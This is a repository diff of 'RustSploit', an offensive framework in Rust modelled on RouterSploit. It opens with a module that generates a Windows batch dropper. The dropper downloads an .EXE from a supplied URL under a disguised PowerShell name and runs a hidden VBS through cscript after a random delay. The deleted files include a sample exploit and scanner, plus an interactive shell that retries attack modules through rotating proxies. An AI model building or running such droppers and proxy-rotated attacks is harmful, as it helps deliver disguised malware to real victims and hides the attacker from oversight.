echo ^) ^> "%%~dp0launch_hidden.vbs"
echo timeout /t 1 ^>nul
echo echo [*] ...
echo cscript //nologo "%%~dp0launch_hidden.vbs"
echo echo [*]
) > "%%stage2%%"
:: Random delay before running stage 2
set /a rdelay=(%%RANDOM%% %% 5) + 2
echo [INFO] stage2.bat %%rdelay%% ...
timeout /t %%rdelay%% >nul
:: Run stage2
call "%%stage2%%"
echo [] "{{OUTFILE}}"
pause
exit
"#;
tpl.replace("{{URL}}", url)
.replace("{{OUTFILE}}", ps1_name)
}
/// Public entry point for the exploit dispatcher
pub async fn run(_target: &str) -> Result<()> {
// === Gather inputs ====================================================
let out_bat = prompt("[+] Output BAT filename : ")?;
let raw_url = prompt("[+] GitHub raw .EXE URL : ")?;
let ps1_name = prompt("[+] Disguised PowerShell name : ")?;
// === Generate script ===================================================
let script = build_script(&raw_url, &ps1_name);
fs::write(&out_bat, script)
.with_context(|| format!("Could not write {}", out_bat))?;
println!("\n[+] Batch script saved to: {out_bat}");
Ok(())
}
-23
View File
@@ -1,23 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running sample_exploit against target: {}", target);
let url = format!("http://{}/vulnerable_endpoint", target);
let resp = reqwest::get(&url)
.await
.context("Failed to send request")?
.text()
.await
.context("Failed to read response")?;
if resp.contains("Vulnerable!") {
println!("[+] Target is vulnerable!");
} else {
println!("[-] Target does not appear to be vulnerable.");
}
Ok(())
}
-3
View File
@@ -1,3 +0,0 @@
pub mod exploits;
pub mod scanners;
pub mod creds;
-1
View File
@@ -1 +0,0 @@
pub mod sample_scanner;
-15
View File
@@ -1,15 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A simple scanner that tries an HTTP GET and prints the response code
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running sample_scanner on: {}", target);
let url = format!("http://{}", target);
let resp = reqwest::get(&url)
.await
.context("Failed to send request")?;
println!("[*] Status code: {}", resp.status());
Ok(())
}
-215
View File
@@ -1,215 +0,0 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use rand::prelude::*; // Updated for rand 0.10
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
/// Simple interactive shell context
struct ShellContext {
current_module: Option<String>,
current_target: Option<String>,
proxy_list: Vec<String>,
proxy_enabled: bool,
}
impl ShellContext {
fn new() -> Self {
ShellContext {
current_module: None,
current_target: None,
proxy_list: Vec::new(),
proxy_enabled: false,
}
}
}
pub async fn interactive_shell() -> Result<()> {
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
let mut ctx = ShellContext::new();
loop {
print!("rsf> ");
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let input = input.trim();
if input.is_empty() {
continue;
}
match input {
"exit" | "quit" => {
println!("Exiting...");
break;
},
"help" => {
println!("Available commands:");
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
println!(" set target <value> - Set the target IP/host");
println!(" run - Run the current module (with proxy retries if enabled)");
println!(" modules - List available modules");
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, http://ip:port, socks4://ip:port, socks5://ip:port.)");
println!(" proxy_on - Enable proxy usage");
println!(" proxy_off - Disable proxy usage");
println!(" show_proxies - Show loaded proxies & current proxy status");
println!(" exit, quit - Exit the shell");
},
"modules" => {
utils::list_all_modules();
},
cmd if cmd.starts_with("proxy_load ") => {
let file = cmd.trim_start_matches("proxy_load ").trim();
match utils::load_proxies_from_file(file) {
Ok(list) => {
ctx.proxy_list = list;
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
},
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
},
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
},
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
},
cmd if cmd.starts_with("use ") => {
let module_path = cmd.trim_start_matches("use ").trim();
if utils::module_exists(module_path) {
ctx.current_module = Some(module_path.to_string());
println!("Module '{}' selected.", module_path);
} else {
println!("Module '{}' not found.", module_path);
}
},
cmd if cmd.starts_with("set ") => {
let parts: Vec<&str> = cmd.split_whitespace().collect();
if parts.len() >= 3 && parts[1] == "target" {
ctx.current_target = Some(parts[2].to_string());
println!("Target set to {}", parts[2]);
} else {
println!("Usage: set target <value>");
}
},
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
// -----------------------------
// NEW: Proxy Retry Logic
// -----------------------------
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
// We'll keep trying different proxies until we succeed or run out
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
// pick a random proxy that we haven't tried yet
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
// If exploit was successful, break
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
// if we never succeeded and we've tried all proxies,
// let's do a final fallback: direct connection (or just stop)
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
// Proxy is on, but no proxies loaded => do a direct attempt
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
// Proxy is off => direct single attempt
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("No target set. Use 'set target <value>' first.");
}
} else {
println!("No module selected. Use 'use <module>' first.");
}
},
_ => {
println!("Unknown command: '{}'. Type 'help' for usage.", input);
},
}
}
Ok(())
}
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let untried: Vec<&String> = proxy_list.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if untried.is_empty() {
// Fall back if somehow there's nothing untried
let mut rng = rand::rng();
let idx = rng.random_range(0..proxy_list.len());
return proxy_list[idx].clone();
}
let mut rng = rand::rng();
let idx = rng.random_range(0..untried.len());
untried[idx].clone()
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
fn set_all_proxy_env(proxy: &str) {
env::set_var("ALL_PROXY", proxy);
}
/// Clears environment variables for direct connection
fn clear_proxy_env_vars() {
env::remove_var("ALL_PROXY");
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
-107
View File
@@ -1,107 +0,0 @@
use colored::*;
use std::fs;
use std::io::{BufRead, BufReader, Error};
use std::path::{Path};
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
/// Recursively list .rs files up to a certain depth (unchanged)
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
let mut modules = Vec::new();
if depth > MAX_DEPTH || !dir.exists() {
return modules;
}
if let Ok(entries) = fs::read_dir(dir) {
for entry in entries.flatten() {
let path = entry.path();
if path.is_dir() {
modules.extend(collect_module_paths(&path, depth + 1));
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
if file_name.ends_with(".rs") && file_name != "mod.rs" {
let relative_path = path
.strip_prefix("src/modules")
.unwrap_or(&path)
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // For Windows
modules.push(relative_path);
}
}
}
}
modules
}
/// Dynamically checks if a module path exists at any depth (unchanged)
pub fn module_exists(module_path: &str) -> bool {
let modules = collect_module_paths(Path::new("src/modules"), 0);
modules.iter().any(|m| m == module_path)
}
/// Lists all available modules recursively under src/modules/ (unchanged)
pub fn list_all_modules() {
println!("{}", "Available modules:".bold().underline());
let modules = collect_module_paths(Path::new("src/modules"), 0);
if modules.is_empty() {
println!("{}", "No modules found.".red());
return;
}
let mut grouped = std::collections::BTreeMap::new();
for module in modules {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
/// Parses a single proxy line (e.g., "1.2.3.4:9050" -> "http://1.2.3.4:9050")
/// or "socks5://127.0.0.1:9050" -> "socks5://127.0.0.1:9050"
fn parse_proxy_line(line: &str) -> String {
let trimmed = line.trim().to_lowercase();
if trimmed.starts_with("http://")
|| trimmed.starts_with("https://")
|| trimmed.starts_with("socks4://")
|| trimmed.starts_with("socks5://")
{
// User specified a scheme, keep as is (but restore original case if you want).
line.to_string()
} else {
// Default to HTTP if no scheme is provided
format!("http://{}", line)
}
}
/// Load proxies from a file, returning lines like:
/// [ "http://1.2.3.4:8080", "socks4://5.6.7.8:1080", "socks5://..." ] etc.
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
let file = fs::File::open(filename)?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
for line in reader.lines() {
let line = line?.trim().to_string();
if !line.is_empty() {
let parsed = parse_proxy_line(&line);
proxies.push(parsed);
}
}
Ok(proxies)
}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 349 KiB